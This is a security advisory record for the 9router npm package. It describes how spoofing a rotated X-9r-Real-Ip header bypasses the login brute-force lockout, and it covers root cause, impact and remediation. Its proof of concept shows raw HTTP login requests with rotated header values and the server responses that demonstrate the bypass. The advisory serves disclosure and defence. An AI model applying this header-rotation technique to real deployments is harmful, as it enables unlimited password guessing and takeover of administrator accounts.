{"id":"GHSA-32gc-64m7-hj7v","summary":"9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header","details":"# Summary\n\n9router enforces a progressive login lockout (5 failed attempts → temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout.\n\n# Affected Component\n\n- `src/lib/auth/loginLimiter.js`\n  - `getClientIp()` — derives the rate-limit bucket key from the client-supplied `X-9r-Real-Ip` header\n  - `checkLock()` / `recordFail()` — per-IP progressive lockout (`MAX_FAILS_BEFORE_LOCK = 5`)\n- `src/app/api/auth/login/route.js` — login endpoint protected by the above limiter\n\n# Root Cause\n\nThe brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. `getClientIp()` returns the value of `X-9r-Real-Ip` directly. The design assumes this header is produced and sanitized only by the trusted `custom-server.js` wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold:\n\n```text\nUntrusted Client Input\n        ↓\nX-9r-Real-Ip: \u003cattacker-chosen, rotated each request\u003e\n        ↓\ngetClientIp()  → distinct bucket per request\n        ↓\nrecordFail()/checkLock()  → threshold (5) never reached\n        ↓\nunlimited 401 attempts, no 429 lockout\n```\n\n# Attack Scenario\n\n1. The instance is deployed in a mode that does not use `custom-server.js`, and the login endpoint is reachable by the attacker (the default bind is `0.0.0.0`).\n\n2. The attacker submits password guesses to `POST /api/auth/login`, setting a different `X-9r-Real-Ip` value on each request (e.g., `10.0.0.1`, `10.0.0.2`, ...).\n\n3. Each request is counted against a new bucket, so the limiter always reports remaining attempts and never returns `429`.\n\n4. The attacker continues guessing without throttling until the dashboard password is recovered, yielding an authenticated admin session.\n\n# Proof of Concept\n\n## Baseline — fixed header value (lockout enforced)\n\nRepeated `POST /api/auth/login` with a constant `X-9r-Real-Ip: 9.9.9.9` and body `{\"password\":\"wrong\"}`:\n\n```http\nPOST /api/auth/login HTTP/1.1\nHost: victim.example.com:20127\nX-9r-Real-Ip: 9.9.9.9\nContent-Type: application/json\nContent-Length: 20\nConnection: close\n\n{\"password\":\"wrong\"}\n```\n\nObserved responses (sequential):\n\n```text\n#1 → 401  {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n\n#2 → 401  {\"error\":\"Invalid password. 3 attempt(s) left before lockout.\",\"remainingBeforeLock\":3}\n\n#3 → 401  {\"error\":\"Invalid password. 2 attempt(s) left before lockout.\",\"remainingBeforeLock\":2}\n\n#4 → 401  {\"error\":\"Invalid password. 1 attempt(s) left before lockout.\",\"remainingBeforeLock\":1}\n\n#5 → 429  Retry-After: 30\n          {\"error\":\"Too many failed attempts. Try again in 30s. ...\",\"retryAfter\":30}\n```\n\n## Exploit — rotated header value (lockout bypassed)\n\nSame request and body, but a different `X-9r-Real-Ip` per request, sent while `9.9.9.9` was already locked:\n\n```http\nPOST /api/auth/login HTTP/1.1\nHost: victim.example.com:20127\nX-9r-Real-Ip: 10.0.0.1\nContent-Type: application/json\nContent-Length: 20\nConnection: close\n\n{\"password\":\"wrong\"}\n```\n\nObserved responses:\n\n```text\nX-9r-Real-Ip: 10.0.0.1 → 401  {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n\nX-9r-Real-Ip: 10.0.0.2 → 401  {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n\nX-9r-Real-Ip: 10.0.0.3 → 401  {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n```\n\u003cimg width=\"1211\" height=\"814\" alt=\"Screenshot 2026-06-19 183338\" src=\"https://github.com/user-attachments/assets/07e37cf3-1860-4a06-8b27-97a5f6b9be64\" /\u003e\n\u003cimg width=\"1208\" height=\"816\" alt=\"Screenshot 2026-06-19 183408\" src=\"https://github.com/user-attachments/assets/27021c5c-cb29-4649-887e-8de46f4c6e1c\" /\u003e\n\nEvery rotated value resets to `\"4 attempt(s) left\"` and never returns `429`, demonstrating unbounded guessing.\n# Impact\n\nThe login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (`0.0.0.0`) and the existence of a default dashboard password, both of which lower the effort required to succeed.\n\n# Remediation\n\n- Do not derive the rate-limit key from a client-controllable header. Base `getClientIp()` on the transport-level peer address (`req.socket.remoteAddress`) for the limiter bucket.\n- Only honor forwarded client-IP headers when they originate from explicitly trusted, configured proxy infrastructure.\n- If `custom-server.js` is required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-supplied `X-9r-*` headers at the edge before they reach the limiter.\n- Consider a global (non-bucketed) attempt ceiling and exponential backoff as defense-in-depth so that header manipulation cannot reset all counters.","aliases":["CVE-2026-56682"],"modified":"2026-09-22T17:15:10.403933204Z","published":"2026-09-22T16:34:18Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-307","CWE-807"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-09-22T16:34:18Z"},"references":[{"type":"WEB","url":"https://github.com/decolua/9router/security/advisories/GHSA-32gc-64m7-hj7v"},{"type":"WEB","url":"https://github.com/decolua/9router/commit/efd20be8d81ef2e256a7037f3aa78e6b567b5fd3"},{"type":"PACKAGE","url":"https://github.com/decolua/9router"},{"type":"WEB","url":"https://github.com/decolua/9router/releases/tag/v0.5.6"}],"affected":[{"package":{"name":"9router","ecosystem":"npm","purl":"pkg:npm/9router"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.5.8"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.5.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-32gc-64m7-hj7v/GHSA-32gc-64m7-hj7v.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}]}